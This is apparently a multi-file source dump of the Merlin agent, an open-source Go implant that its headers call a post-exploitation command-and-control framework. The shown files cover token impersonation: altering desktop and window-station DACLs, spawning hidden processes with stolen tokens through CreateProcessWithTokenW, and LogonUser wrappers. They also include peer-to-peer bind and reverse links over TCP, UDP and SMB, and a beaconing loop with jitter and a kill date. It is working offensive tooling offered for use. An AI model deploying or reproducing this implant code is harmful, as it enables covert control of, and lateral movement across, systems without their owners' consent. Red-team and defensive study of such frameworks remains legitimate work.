fmt.Sprintf("\nthere was an error calling windows.SetKernelObjectSecurity to restore the "+ "original security descriptor for the window station: %s\n", err) } }() // Get a handle to the desktop securable object hDesktop, err := user32.GetThreadDesktop(windows.GetCurrentThreadId()) if err != nil { stderr = err.Error() return } // Get the security information (namely the DACL) for the desktop object sdDesktop, err := windows.GetSecurityInfo(windows.Handle(hDesktop), windows.SE_KERNEL_OBJECT, si) if err != nil { stderr = fmt.Sprintf("there was an error calling windows.GetSecurityInfo with the desktop object handle: %s", err) return } //stdout += fmt.Sprintf("Window Desktop SDDL: %s\n", sdDesktop) // Update the ACE with the required permissions for the desktop object windows.GENERIC_ALL DESKTOP_WRITEOBJECTS := 0x0080 // (0x0080L) Required to write objects on the desktop. DESKTOP_READOBJECTS := 0x0001 // (0x0001L) Required to read objects on the desktop. // DESKTOP_CREATEMENU := 0x0004 // (0x0004L) Required to create a menu on the desktop. DESKTOP_CREATEWINDOW := 0x0002 // (0x0002L) Required to create a window on the desktop. REQUIRED // DESKTOP_ENUMERATE := 0x0040 // (0x0040L) Required for the desktop to be enumerated. //ace.AccessPermissions = windows.ACCESS_MASK(DESKTOP_CREATEWINDOW) // DESKTOP_ENUMERATE | DESKTOP_CREATEMENU | DESKTOP_READOBJECTS | DESKTOP_WRITEOBJECTS | WORKS WHEN TOKEN BELONGS TO ADMIN OR PRIMARY USER OF DESKTOP UNSURE WHICH //ace.AccessPermissions = windows.ACCESS_MASK(windows.GENERIC_ALL) // WORKS ace.AccessPermissions = windows.ACCESS_MASK(DESKTOP_CREATEWINDOW | DESKTOP_READOBJECTS | DESKTOP_WRITEOBJECTS) // DESKTOP_ENUMERATE | DESKTOP_CREATEMENU // Add the new ACE for the token user to the existing security descriptor for the desktop object sdDesktopNew, err := windows.BuildSecurityDescriptor(nil, nil, []windows.EXPLICIT_ACCESS{ace}, nil, sdDesktop) if err != nil { stderr = fmt.Sprintf("there was an error calling windows.BuildSecurityDescriptor for the new desktop security descriptor: %s\n", err) return } //stdout += fmt.Sprintf("New Security Descriptor (desktop): %+v\n", sdDesktopNew) // Update the desktop security descriptor with the new DACL that contains access rights for the token user err = windows.SetKernelObjectSecurity(windows.Handle(hDesktop), windows.DACL_SECURITY_INFORMATION, sdDesktopNew) if err != nil { stderr = fmt.Sprintf("there was an error calling windows.SetKernelObjectSecurity to add an updated DACL to the desktop object: %s\n", err) return } // Defer restoring the original security descriptor for the desktop defer func() { err = windows.SetKernelObjectSecurity(windows.Handle(hDesktop), windows.DACL_SECURITY_INFORMATION, sdDesktop) if err != nil { stderr += fmt.Sprintf("there was an error calling windows.SetKernelObjectSecurity to restore the original desktop security descriptor: %s\n", err) } }() } var lpCurrentDirectory uint16 = 0 lpStartupInfo := &windows.StartupInfo{ StdInput: stdInRead, StdOutput: stdOutWrite, StdErr: stdErrWrite, Flags: windows.STARTF_USESTDHANDLES | windows.STARTF_USESHOWWINDOW, ShowWindow: windows.SW_HIDE, } lpProcessInformation := &windows.ProcessInformation{} LOGON_NETCREDENTIALS_ONLY := uint32(0x2) // Could not find this constant in the windows package dwLogonFlags := LOGON_NETCREDENTIALS_ONLY dwCreationFlags := 0 var lpEnvironment uintptr // Parse optional arguments var applicationName uintptr if *lpApplicationName == 0 { applicationName = 0 } else { applicationName = uintptr(unsafe.Pointer(lpApplicationName)) } var commandLine uintptr if *lpCommandLine == 0 { commandLine = 0 } else { commandLine = uintptr(unsafe.Pointer(lpCommandLine)) } var currentDirectory uintptr if lpCurrentDirectory == 0 { currentDirectory = 0 } else { currentDirectory = uintptr(unsafe.Pointer(&lpCurrentDirectory)) } err = advapi32.CreateProcessWithTokenW( uintptr(hToken), uintptr(dwLogonFlags), applicationName, commandLine, uintptr(dwCreationFlags), lpEnvironment, //uintptr(unsafe.Pointer(lpCurrentDirectory)), currentDirectory, uintptr(unsafe.Pointer(lpStartupInfo)), uintptr(unsafe.Pointer(lpProcessInformation)), ) if err != nil { stderr = err.Error() return } stdout += fmt.Sprintf("Created %s process with an ID of %d\n", application, lpProcessInformation.ProcessId) // Close the "write" pipe handles err = pipes.ClosePipes(0, 0, 0, stdOutWrite, 0, stdErrWrite) if err != nil { stderr = err.Error() return } // Read from the pipes var out string _, out, stderr, err = pipes.ReadPipes(0, stdOutRead, stdErrRead) if err != nil { stderr += err.Error() } stdout += out // Close the "read" pipe handles err = pipes.ClosePipes(stdInRead, 0, stdOutRead, 0, stdErrRead, 0) if err != nil { stderr += err.Error() return } return } // GetCurrentUserAndGroup retrieves the username and the user's primary group for the calling process primary token func GetCurrentUserAndGroup() (username, group string, err error) { token := windows.GetCurrentProcessToken() username, err = GetTokenUsername(token) if err != nil { return } grp, err := token.GetTokenPrimaryGroup() if err != nil { return } group = grp.PrimaryGroup.String() return } // GetTokenIntegrityLevel enumerates the integrity level for the provided token and returns it as a string func GetTokenIntegrityLevel(token windows.Token) (string, error) { cli.Message(cli.DEBUG, "entering tokens.GetTokenIntegrityLevel()") var info byte var returnedLen uint32 // Call the first time to get the output structure size err := windows.GetTokenInformation(token, windows.TokenIntegrityLevel, &info, 0, &returnedLen) if err != windows.ERROR_INSUFFICIENT_BUFFER { return "", fmt.Errorf("there was an error calling windows.GetTokenInformation: %s", err) } // Knowing the structure size, call again TokenIntegrityInformation := bytes.NewBuffer(make([]byte, returnedLen)) err = windows.GetTokenInformation(token, windows.TokenIntegrityLevel, &TokenIntegrityInformation.Bytes()[0], returnedLen, &returnedLen) if err != nil { return "", fmt.Errorf("there was an error calling windows.GetTokenInformation: %s", err) } // Read the buffer into a byte slice bLabel := make([]byte, returnedLen) err = binary.Read(TokenIntegrityInformation, binary.LittleEndian, &bLabel) if err != nil { return "", fmt.Errorf("there was an error reading bytes for the token integrity level: %s", err) } // Integrity level is in the Attributes portion of the structure, a DWORD, the last four bytes // https://docs.microsoft.com/en-us/windows/win32/api/winnt/ns-winnt-token_mandatory_label // https://docs.microsoft.com/en-us/windows/win32/api/winnt/ns-winnt-sid_and_attributes integrityLevel := binary.LittleEndian.Uint32(bLabel[returnedLen-4:]) return integrityLevelToString(integrityLevel), nil } // GetTokenPrivileges enumerates the token's privileges and attributes and returns them func GetTokenPrivileges(token windows.Token) (privs []windows.LUIDAndAttributes, err error) { cli.Message(cli.DEBUG, "entering tokens.GetTokenPrivileges()") // Get the privileges and attributes // Call to get structure size var returnedLen uint32 err = windows.GetTokenInformation(token, windows.TokenPrivileges, nil, 0, &returnedLen) if err != syscall.ERROR_INSUFFICIENT_BUFFER { err = fmt.Errorf("there was an error calling windows.GetTokenInformation: %s", err) return } // Call again to get the actual structure info := bytes.NewBuffer(make([]byte, returnedLen)) err = windows.GetTokenInformation(token, windows.TokenPrivileges, &info.Bytes()[0], returnedLen, &returnedLen) if err != nil { err = fmt.Errorf("there was an error calling windows.GetTokenInformation: %s", err) return } var privilegeCount uint32 err = binary.Read(info, binary.LittleEndian, &privilegeCount) if err != nil { err = fmt.Errorf("there was an error reading TokenPrivileges bytes to privilegeCount: %s", err) return } // Read in the LUID and Attributes for i := 1; i <= int(privilegeCount); i++ { var priv windows.LUIDAndAttributes err = binary.Read(info, binary.LittleEndian, &priv) if err != nil { err = fmt.Errorf("there was an error reading LUIDAttributes to bytes: %s", err) return } privs = append(privs, priv) } return } // GetTokenStats uses the GetTokenInformation Windows API call to gather information about the provided access token // by retrieving the token's associated TOKEN_STATISTICS structure func GetTokenStats(token windows.Token) (tokenStats TOKEN_STATISTICS, err error) { cli.Message(cli.DEBUG, "entering tokens.GetTokenStats()") // Determine the size needed for the structure // BOOL GetTokenInformation( // [in] HANDLE TokenHandle, // [in] TOKEN_INFORMATION_CLASS TokenInformationClass, // [out, optional] LPVOID TokenInformation, // [in] DWORD TokenInformationLength, // [out] PDWORD ReturnLength //); var returnLength uint32 err = windows.GetTokenInformation(token, windows.TokenStatistics, nil, 0, &returnLength) if err != nil && err != syscall.ERROR_INSUFFICIENT_BUFFER { err = fmt.Errorf("there was an error calling windows.GetTokenInformation: %s", err) return } // Make the call with the known size of the object info := bytes.NewBuffer(make([]byte, returnLength)) var returnLength2 uint32 err = windows.GetTokenInformation(token, windows.TokenStatistics, &info.Bytes()[0], returnLength, &returnLength2) if err != nil { err = fmt.Errorf("there was an error calling windows.GetTokenInformation: %s", err) return } err = binary.Read(info, binary.LittleEndian, &tokenStats) if err != nil { err = fmt.Errorf("there was an error reading binary into the TOKEN_STATISTICS structure: %s", err) return } return } // GetTokenUsername returns the domain and username associated with the provided token as a string func GetTokenUsername(token windows.Token) (username string, err error) { cli.Message(cli.DEBUG, "entering tokens.GetTokenUsername()") user, err := token.GetTokenUser() if err != nil { return "", fmt.Errorf("there was an error calling GetTokenUser(): %s", err) } account, domain, _, err := user.User.Sid.LookupAccount("") if err != nil { return "", fmt.Errorf("there was an error calling SID.LookupAccount(): %s", err) } username = fmt.Sprintf("%s\\%s", domain, account) return } // GetTokenSessionId returns the session ID associated with the token func GetTokenSessionId(token windows.Token) (sessionId uint32, err error) { cli.Message(cli.DEBUG, "entering tokens.GetTokenSessionId()") // Determine the size needed for the structure var returnLength uint32 err = windows.GetTokenInformation(token, windows.TokenSessionId, nil, 0, &returnLength) if err != nil && err != syscall.ERROR_INSUFFICIENT_BUFFER { err = fmt.Errorf("there was an error calling windows.GetTokenInformation: %s", err) return } // Make the call with the known size of the object info := bytes.NewBuffer(make([]byte, returnLength)) var returnLength2 uint32 err = windows.GetTokenInformation(token, windows.TokenSessionId, &info.Bytes()[0], returnLength, &returnLength2) if err != nil { err = fmt.Errorf("there was an error calling windows.GetTokenInformation: %s", err) return } err = binary.Read(info, binary.LittleEndian, &sessionId) if err != nil { err = fmt.Errorf("there was an error reading binary into the TokenSessionId DWORD: %s", err) return } return } // hasPrivilege checks the provided access token to see if it contains the provided privilege func hasPrivilege(token windows.Token, privilege windows.LUID) (has bool, err error) { cli.Message(cli.DEBUG, "entering tokens.hasPrivilege()") // Get the privileges and attributes // Call to get structure size var returnedLen uint32 err = windows.GetTokenInformation(token, windows.TokenPrivileges, nil, 0, &returnedLen) if err != syscall.ERROR_INSUFFICIENT_BUFFER { err = fmt.Errorf("there was an error calling windows.GetTokenInformation: %s", err) return } // Call again to get the actual structure info := bytes.NewBuffer(make([]byte, returnedLen)) err = windows.GetTokenInformation(token, windows.TokenPrivileges, &info.Bytes()[0], returnedLen, &returnedLen) if err != nil { err = fmt.Errorf("there was an error calling windows.GetTokenInformation: %s", err) return } var privilegeCount uint32 err = binary.Read(info, binary.LittleEndian, &privilegeCount) if err != nil { err = fmt.Errorf("there was an error reading TokenPrivileges bytes to privilegeCount: %s", err) return } // Read in the LUID and Attributes var privs []windows.LUIDAndAttributes for i := 1; i <= int(privilegeCount); i++ { var priv windows.LUIDAndAttributes err = binary.Read(info, binary.LittleEndian, &priv) if err != nil { err = fmt.Errorf("there was an error reading LUIDAttributes to bytes: %s", err) return } privs = append(privs, priv) } // Iterate over provided token's privileges and return true if it is present for _, priv := range privs { if priv.Luid == privilege { return true, nil } } return false, nil } // integrityLevelToString converts an access token integrity level to a string // https://docs.microsoft.com/en-us/windows/win32/secauthz/well-known-sids func integrityLevelToString(level uint32) string { switch level { case 0x00000000: // SECURITY_MANDATORY_UNTRUSTED_RID return "Untrusted" case 0x00001000: // SECURITY_MANDATORY_LOW_RID return "Low" case 0x00002000: // SECURITY_MANDATORY_MEDIUM_RID return "Medium" case 0x00002100: // SECURITY_MANDATORY_MEDIUM_PLUS_RID return "Medium High" case 0x00003000: // SECURITY_MANDATORY_HIGH_RID return "High" case 0x00004000: // SECURITY_MANDATORY_SYSTEM_RID return "System" case 0x00005000: // SECURITY_MANDATORY_PROTECTED_PROCESS_RID return "Protected Process" default: return fmt.Sprintf("Uknown integrity level: %d", level) } } // ImpersonationToString converts a SECURITY_IMPERSONATION_LEVEL uint32 value to it's associated string func ImpersonationToString(level uint32) string { switch level { case windows.SecurityAnonymous: return "Anonymous" case windows.SecurityIdentification: return "Identification" case windows.SecurityImpersonation: return "Impersonation" case windows.SecurityDelegation: return "Delegation" default: return fmt.Sprintf("unknown SECURITY_IMPERSONATION_LEVEL: %d", level) } } // LogonUser creates a new logon session for the user according to the provided logon type and returns a Windows access // token for that logon session. This is a wrapper function that includes additional validation checks func LogonUser(user string, password string, domain string, logonType uint32, logonProvider uint32) (hToken windows.Token, err error) { cli.Message(cli.DEBUG, "entering tokens.LogonUser()") if user == "" { err = fmt.Errorf("a username must be provided for the LogonUser call") return } if password == "" { err = fmt.Errorf("a password must be provided for the LogonUser call") return } if logonType <= 0 { err = fmt.Errorf("an invalid logonType was provided to the LogonUser call: %d", logonType) return } // Check for UPN format (e.g., rastley@acme.com) if strings.Contains(user, "@") { temp := strings.Split(user, "@") user = temp[0] domain = temp[1] } // Check for domain format (e.g., ACME\rastley) if strings.Contains(user, "\\") { temp := strings.Split(user, "\\") user = temp[1] domain = temp[0] } // Check for an empty or missing domain; used with local user accounts if domain == "" { domain = "." } // Convert username to LPCWSTR pUser, err := syscall.UTF16PtrFromString(user) if err != nil { err = fmt.Errorf("there was an error converting the username \"%s\" to LPCWSTR: %s", user, err) return } // Convert the domain to LPCWSTR pDomain, err := syscall.UTF16PtrFromString(domain) if err != nil { err = fmt.Errorf("there was an error converting the domain \"%s\" to LPCWSTR: %s", domain, err) return } // Convert the password to LPCWSTR pPassword, err := syscall.UTF16PtrFromString(password) if err != nil { err = fmt.Errorf("there was an error converting the password \"%s\" to LPCWSTR: %s", password, err) return } token, err := advapi32.LogonUser(pUser, pDomain, pPassword, logonType, logonProvider) if err != nil { return } // Convert *unsafe.Pointer to windows.Token // windows.Token -> windows.Handle -> uintptr hToken = (windows.Token)(*token) return } // PrivilegeAttributeToString converts a privilege attribute integer to a string func PrivilegeAttributeToString(attribute uint32) string { // https://docs.microsoft.com/en-us/windows/win32/api/winnt/ns-winnt-token_privileges switch attribute { case 0x00000000: return "" case 0x00000001: return "SE_PRIVILEGE_ENABLED_BY_DEFAULT" case 0x00000002: return "SE_PRIVILEGE_ENABLED" case 0x00000001 | 0x00000002: return "SE_PRIVILEGE_ENABLED_BY_DEFAULT,SE_PRIVILEGE_ENABLED" case 0x00000004: return "SE_PRIVILEGE_REMOVED" case 0x80000000: return "SE_PRIVILEGE_USED_FOR_ACCESS" case 0x00000001 | 0x00000002 | 0x00000004 | 0x80000000: return "SE_PRIVILEGE_VALID_ATTRIBUTES" default: return fmt.Sprintf("Unknown SE_PRIVILEGE_ value: 0x%X", attribute) } } // PrivilegeToString converts a LUID to it's string representation func PrivilegeToString(priv windows.LUID) string { p, err := advapi32.LookupPrivilegeName(priv) if err != nil { return err.Error() } return p } // TokenTypeToString converts a TOKEN_TYPE uint32 value to it's associated string func TokenTypeToString(tokenType uint32) string { switch tokenType { case windows.TokenPrimary: return "Primary" case windows.TokenImpersonation: return "Impersonation" default: return fmt.Sprintf("unknown TOKEN_TYPE: %d", tokenType) } } // Structures // TOKEN_STATISTICS contains information about an access token // https://docs.microsoft.com/en-us/windows/win32/api/winnt/ns-winnt-token_statistics // // typedef struct _TOKEN_STATISTICS { // LUID TokenId; // LUID AuthenticationId; // LARGE_INTEGER ExpirationTime; // TOKEN_TYPE TokenType; // SECURITY_IMPERSONATION_LEVEL ImpersonationLevel; // DWORD DynamicCharged; // DWORD DynamicAvailable; // DWORD GroupCount; // DWORD PrivilegeCount; // LUID ModifiedId; // } TOKEN_STATISTICS, *PTOKEN_STATISTICS; type TOKEN_STATISTICS struct { TokenId windows.LUID AuthenticationId windows.LUID ExpirationTime int64 TokenType uint32 // Enum of TokenPrimary 0 or TokenImpersonation 1 ImpersonationLevel uint32 // Enum DynamicCharged uint32 DynamicAvailable uint32 GroupCount uint32 PrivilegeCount uint32 ModifiedId windows.LUID } ================================================ FILE: p2p/memory/memory.go ================================================ /* Merlin is a post-exploitation command and control framework. This file is part of Merlin. Copyright (C) 2024 Russel Van Tuyl Merlin is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or any later version. Merlin is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with Merlin. If not, see . */ // Package memory is an in-memory repository for storing and managing peer-to-peer Link objects package memory import ( // Standard "fmt" "net" "sync" // 3rd Party "github.com/google/uuid" // Internal "github.com/Ne0nd0g/merlin-agent/v2/p2p" ) // Repository holds database of existing peer-to-peer Links in a map type Repository struct { sync.Mutex links sync.Map } // repo is the in-memory datastore var repo *Repository // NewRepository creates and returns a new in-memory repository for interacting with peer-to-peer Links func NewRepository() *Repository { if repo == nil { repo = &Repository{ Mutex: sync.Mutex{}, } } return repo } // Delete removes the peer-to-peer Link from the in-memory datastore func (r *Repository) Delete(id uuid.UUID) { r.links.Delete(id) } // Get finds the peer-to-peer Link by the provided id and returns it func (r *Repository) Get(id uuid.UUID) (link *p2p.Link, err error) { a, ok := r.links.Load(id) if !ok { err = fmt.Errorf("p2p/memory.Get(): %s is not a known P2P link", id) return } link = a.(*p2p.Link) return } // GetAll returns all peer-to-peer Links in the in-memory datastore func (r *Repository) GetAll() (links []*p2p.Link) { r.links.Range( func(k, v interface{}) bool { agent := v.(*p2p.Link) links = append(links, agent) return true }, ) return } // Store saves the provided peer-to-peer link into the in-memory datastore func (r *Repository) Store(link *p2p.Link) { r.links.Store(link.ID(), link) } // UpdateConn updates the peer-to-peer Link's embedded conn field with the provided network connection func (r *Repository) UpdateConn(id uuid.UUID, conn interface{}, remote net.Addr) error { r.Lock() defer r.Unlock() link, err := r.Get(id) if err != nil { return fmt.Errorf("p2p/memory.UpdateConn(): %s", err) } link.UpdateConn(conn, remote) r.Store(link) return nil } ================================================ FILE: p2p/p2p.go ================================================ /* Merlin is a post-exploitation command and control framework. This file is part of Merlin. Copyright (C) 2024 Russel Van Tuyl Merlin is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or any later version. Merlin is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with Merlin. If not, see . */ // Package p2p is used for Agent based peer-to-peer communications package p2p import ( // Standard "fmt" "net" "sync" // 3rd Party "github.com/google/uuid" // Merlin "github.com/Ne0nd0g/merlin-message" ) // Types of peer-to-peer links/connections const ( TCPBIND = 0 TCPREVERSE = 1 UDPBIND = 2 UDPREVERSE = 3 SMBBIND = 4 SMBREVERSE = 5 ) const ( // MaxSizeUDP is the maximum size of a UDP fragment // http://ithare.com/udp-from-mog-perspective/ MaxSizeUDP = 1450 // MaxSizeSMB is the maximum size of an SMB fragment // The WriteFileEx Windows API function says: // "Pipe write operations across a network are limited to 65,535 bytes per write" // https://learn.microsoft.com/en-us/windows/win32/api/fileapi/nf-fileapi-writefileex MaxSizeSMB = 65535 ) // Link holds information about peer-to-peer linked agents type Link struct { id uuid.UUID // id is Agent id for this peer-to-peer connection in chan messages.Base // in a channel of incoming Base messages coming in from the linked Agent out chan messages.Base // out a channel of outgoing Base messages to be sent to the linked Agent conn interface{} // conn the network connection used to communicate with the linked Agent connType int // connType of the linked Agent (e.g., tcp-bind, SMB, etc.) remote net.Addr // remote is the name or address of the remote Agent data is being sent to listener uuid.UUID // listener is the server-side listener id for this link sync.Mutex // Mutex is used to lock the Link object for thread safety } // NewLink is a factory to build and return a Link structure func NewLink(id uuid.UUID, listener uuid.UUID, conn interface{}, linkType int, remote net.Addr) *Link { return &Link{ id: id, in: make(chan messages.Base, 100), out: make(chan messages.Base, 100), conn: conn, connType: linkType, remote: remote, listener: listener, } } // AddIn takes in a base message from a parent Agent or the Merlin server and adds it to the incoming message channel, // so it can be sent to the child Agent func (l *Link) AddIn(base messages.Base) { l.in <- base } // AddOut takes in a base message from a child Agent and adds it to the outgoing message channel, so it can be sent to // the Merlin server func (l *Link) AddOut(base messages.Base) { l.out <- base } // Conn returns the peer-to-peer network connection used to read and write network traffic func (l *Link) Conn() interface{} { return l.conn } // GetIn blocks waiting for a Base message from the incoming message channel and returns it func (l *Link) GetIn() messages.Base { return <-l.in } // GetOut blocks waiting for a Base message from the outgoing message channel and returns it func (l *Link) GetOut() messages.Base { return <-l.out } // ID returns the peer-to-peer Link's id func (l *Link) ID() uuid.UUID { return l.id } // Listener returns the peer-to-peer Link's listener id func (l *Link) Listener() uuid.UUID { return l.listener } // Type returns what type of peer-to-peer Link this is (e.g., TCP reverse or SMB bind) func (l *Link) Type() int { return l.connType } // Remote returns the address the peer-to-peer Link is connected to func (l *Link) Remote() net.Addr { return l.remote } // UpdateConn updates the peer-to-peer Link's network connection // The updated object must be subsequently stored in the repository func (l *Link) UpdateConn(conn interface{}, remote net.Addr) { l.conn = conn l.remote = remote } // String returns the peer-to-peer Link's type as a string func (l *Link) String() string { return String(l.connType) } // String converts the peer-to-peer Link type from a constant to a string func String(linkType int) string { switch linkType { case SMBREVERSE: return "smb-reverse" case SMBBIND: return "smb-bind" case TCPBIND: return "tcp-bind" case TCPREVERSE: return "tcp-reverse" case UDPBIND: return "udp-bind" case UDPREVERSE: return "udp-reverse" default: return fmt.Sprintf("unknown peer-to-peer agent link type %d", linkType) } } ================================================ FILE: p2p/repository.go ================================================ /* Merlin is a post-exploitation command and control framework. This file is part of Merlin. Copyright (C) 2024 Russel Van Tuyl Merlin is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or any later version. Merlin is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with Merlin. If not, see . */ package p2p import ( // Standard "net" // 3rd Party "github.com/google/uuid" ) type Repository interface { // Delete removes the peer-to-peer Link from the in-memory datastore Delete(id uuid.UUID) // Get finds the peer-to-peer Link by the provided id and returns it Get(id uuid.UUID) (link *Link, err error) // GetAll returns all peer-to-peer Links in the in-memory datastore GetAll() (links []*Link) // Store saves the provided peer-to-peer link into the in-memory datastore Store(link *Link) // UpdateConn updates the peer-to-peer Link's embedded conn field with the provided network connection UpdateConn(id uuid.UUID, conn interface{}, remote net.Addr) error } ================================================ FILE: qodana.yaml ================================================ version: "1.0" linter: jetbrains/qodana-go:2023.3 exclude: - name: All paths: - .github - .qodana - docs ================================================ FILE: run/run.go ================================================ /* Merlin is a post-exploitation command and control framework. This file is part of Merlin. Copyright (C) 2024 Russel Van Tuyl Merlin is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or any later version. Merlin is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with Merlin. If not, see . */ // Package run contains the logic for the Agent to execute operations checking for and sending messages package run import ( // Standard "fmt" "math/rand" "os" "time" // Merlin "github.com/Ne0nd0g/merlin-message" // Internal "github.com/Ne0nd0g/merlin-agent/v2/agent" "github.com/Ne0nd0g/merlin-agent/v2/cli" "github.com/Ne0nd0g/merlin-agent/v2/clients" "github.com/Ne0nd0g/merlin-agent/v2/core" as "github.com/Ne0nd0g/merlin-agent/v2/services/agent" "github.com/Ne0nd0g/merlin-agent/v2/services/client" "github.com/Ne0nd0g/merlin-agent/v2/services/message" ) var agentService *as.Service var clientService *client.Service var messageService *message.Service // Run instructs an agent to establish communications with the passed in server using the passed in client func Run(a agent.Agent, c clients.Client) { // Set up the Agent service and add the Agent to the repository through the service agentService = as.NewAgentService() agentService.Add(a) // Set up the Client service and add the Client to the repository through the service clientService = client.NewClientService() clientService.Add(c) // Set up the Message service to handle Base messages messageService = message.NewMessageService(a.ID()) cli.Message(cli.NOTE, fmt.Sprintf("Agent version: %s", core.Version)) cli.Message(cli.NOTE, fmt.Sprintf("Agent build: %s", core.Build)) for { a = agentService.Get() c = clientService.Get() // Verify the agent's kill date hasn't been exceeded if (a.KillDate() != 0) && (time.Now().Unix() >= a.KillDate()) { cli.Message(cli.WARN, fmt.Sprintf("agent kill date has been exceeded: %s, quitting...", time.Unix(a.KillDate(), 0).UTC().Format(time.RFC3339))) os.Exit(0) } // Check in if a.Authenticated() { // Synchronous clients will fill the console with this message because there is no sleep if a.Wait() >= 0 { cli.Message(cli.NOTE, "Checking in...") } checkIn() } else { err := clientService.Initial() if err != nil { agentService.IncrementFailed() a = agentService.Get() cli.Message(cli.WARN, err.Error()) cli.Message(cli.NOTE, fmt.Sprintf("%d out of %d total failed checkins", a.Comms().Failed, a.Comms().Retry)) if a.Wait() <= 0 { sleep := time.Second * 30 cli.Message(cli.NOTE, fmt.Sprintf("Agent's sleep is %s, using error recovery default. Sleeping for %s at %s", a.Wait().String(), sleep.String(), time.Now().UTC().Format(time.RFC3339))) time.Sleep(sleep) } } else { cli.Message(cli.SUCCESS, "Agent authentication successful") agentService.SetAuthenticated(true) agentService.SetInitialCheckIn(time.Now().UTC()) // If the Agent is synchronous, start a listener in a go routine to receive upstream messages anytime if c.Synchronous() { go listen() } // If the Agent doesn't sleep, start go routines that block waiting for a message to send back to the server if a.Wait() < 0 { go messageService.GetJobs() go messageService.GetDelegates() } else { // Used to immediately respond to AgentInfo request job from server checkIn() } } } // Get the latest copy of agent and client after incoming messages have been processed a = agentService.Get() c = clientService.Get() // Determine if the max number of failed checkins has been reached if a.Failed() >= a.MaxRetry() && a.MaxRetry() != 0 { cli.Message(cli.WARN, fmt.Sprintf("maximum number of failed checkin attempts reached: %d, quitting...", a.MaxRetry())) os.Exit(0) } if a.Wait() >= 0 { // Sleep var sleepTime time.Duration if a.Skew() > 0 { sleepTime = a.Wait() + (time.Duration(rand.Int63n(a.Skew())) * time.Millisecond) // #nosec G404 - Does not need to be cryptographically secure, deterministic is OK } else { sleepTime = a.Wait() } cli.Message(cli.NOTE, fmt.Sprintf("Sleeping for %s at %s", sleepTime.String(), time.Now().UTC().Format(time.RFC3339))) time.Sleep(sleepTime) } } } // checkIn is the function that agent runs at every sleep/skew interval to check in with the server for jobs func checkIn() { cli.Message(cli.DEBUG, "run/run.checkIn(): entering into function...") defer cli.Message(cli.DEBUG, "run/run.checkIn(): leaving function...") a := agentService.Get() c := clientService.Get() var msg messages.Base if a.Wait() < 0 { // This call blocks until there is a message to return cli.Message(cli.NOTE, fmt.Sprintf("Waiting for a message to send upstream at %s", time.Now().UTC().Format(time.RFC3339))) msg = messageService.Get() cli.Message(cli.NOTE, fmt.Sprintf("Received message at %s", time.Now().UTC().Format(time.RFC3339))) } else { // This call DOES NOT block and will return a CheckIn message if there are no other messages in the queue msg = messageService.Check() } // Send the message to Merlin server or parent Agent bases, err := c.Send(msg) if err != nil { agentService.IncrementFailed() a := agentService.Get() cli.Message(cli.WARN, err.Error()) // Determine if the max number of failed checkins has been reached if a.Failed() >= a.MaxRetry() && a.MaxRetry() != 0 { cli.Message(cli.WARN, fmt.Sprintf("maximum number of failed checkin attempts reached: %d, quitting...", a.MaxRetry())) os.Exit(0) } else { cli.Message(cli.NOTE, fmt.Sprintf("%d out of %d total failed checkins", a.Failed(), a.MaxRetry())) } // Put the jobs back into the queue if there was an error messageService.Store(msg) /* if msg.Type == messages.JOBS { err = messageService.Handle(msg) if err != nil { agentService.IncrementFailed() } } */ if a.Wait() <= 0 { sleep := time.Second * 30 cli.Message(cli.NOTE, fmt.Sprintf("Agent's sleep is %s, using error recovery default. Sleeping for %s at %s", a.Wait().String(), sleep.String(), time.Now().UTC().Format(time.RFC3339))) time.Sleep(sleep) } return } agentService.SetFailedCheckIn(0) agentService.SetStatusCheckIn(time.Now().UTC()) // Handle return messages from the Merlin server or the parent Agent for _, base := range bases { cli.Message(cli.DEBUG, fmt.Sprintf("Agent ID: %s", base.ID)) cli.Message(cli.DEBUG, fmt.Sprintf("Message Type: %s", base.Type)) cli.Message(cli.DEBUG, fmt.Sprintf("Message Payload: %+v", base.Payload)) // Handle message err = messageService.Handle(base) if err != nil { agentService.IncrementFailed() // Determine if the max number of failed checkins has been reached a := agentService.Get() if a.Failed() >= a.MaxRetry() && a.MaxRetry() != 0 { cli.Message(cli.WARN, fmt.Sprintf("maximum number of failed checkin attempts reached: %d, quitting...", a.MaxRetry())) os.Exit(0) } else { cli.Message(cli.NOTE, fmt.Sprintf("%d out of %d total failed checkins", a.Failed(), a.MaxRetry())) } } } } // listen is an infinite loop used with synchronous Agents to receive Base messages and send them to the message handler func listen() { var i int for { cli.Message(cli.DEBUG, fmt.Sprintf("run.listen(): entering into loop %d", i)) i++ msgs, err := clientService.Listen() if err != nil { agentService.IncrementFailed() a := agentService.Get() cli.Message(cli.WARN, fmt.Sprintf("run.listen(): there was an error listening: %s", err)) // Determine if the max number of failed checkins has been reached if a.Failed() >= a.MaxRetry() && a.MaxRetry() != 0 { cli.Message(cli.WARN, fmt.Sprintf("maximum number of failed checkin attempts reached: %d, quitting...", a.MaxRetry())) os.Exit(0) } else { cli.Message(cli.NOTE, fmt.Sprintf("%d out of %d total failed checkins", a.Failed(), a.MaxRetry())) } } else { agentService.SetFailedCheckIn(0) if len(msgs) > 0 { for _, msg := range msgs { err = messageService.Handle(msg) if err != nil { cli.Message(cli.WARN, fmt.Sprintf("run.listen(): there was an error handling incoming messages: %s", err)) agentService.IncrementFailed() // Determine if the max number of failed checkins has been reached a := agentService.Get() if a.Failed() >= a.MaxRetry() && a.MaxRetry() != 0 { cli.Message(cli.WARN, fmt.Sprintf("maximum number of failed checkin attempts reached: %d, quitting...", 